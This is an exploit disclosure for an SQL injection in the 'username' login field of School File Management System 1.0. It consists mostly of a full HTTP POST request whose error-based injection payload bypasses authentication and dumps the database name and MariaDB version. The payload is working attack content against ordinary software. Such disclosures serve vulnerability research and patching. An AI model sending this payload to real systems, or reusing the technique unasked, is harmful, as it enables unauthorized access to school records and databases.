# Exploit Title: School File Management System 1.0 - 'username' SQL Injection
# Date: 2020-05-04
# Exploit Author: Tarun Sehgal
# Vendor Homepage: https://www.sourcecodester.com/php/14155/school-file-management-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/school-file-management-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
---------------------------------------------------------------------------------
#parameter Vulnerable: username
# Injected Request
POST /sfms/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Origin: http://localhost
Connection: close
Referer: http://localhost/sfms/admin/index.php
Cookie: PHPSESSID=084gi60nhgqp5lpba3q6qngk9g
Upgrade-Insecure-Requests: 1
username=admin' OR 1 GROUP BY CONCAT(database(),(SELECT (CASE WHEN (7665=7665) THEN 1 ELSE 0 END)),0x3a,0x3a,version(),FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=admin&login=
//Comment
Above request will print database name and MariaDB version.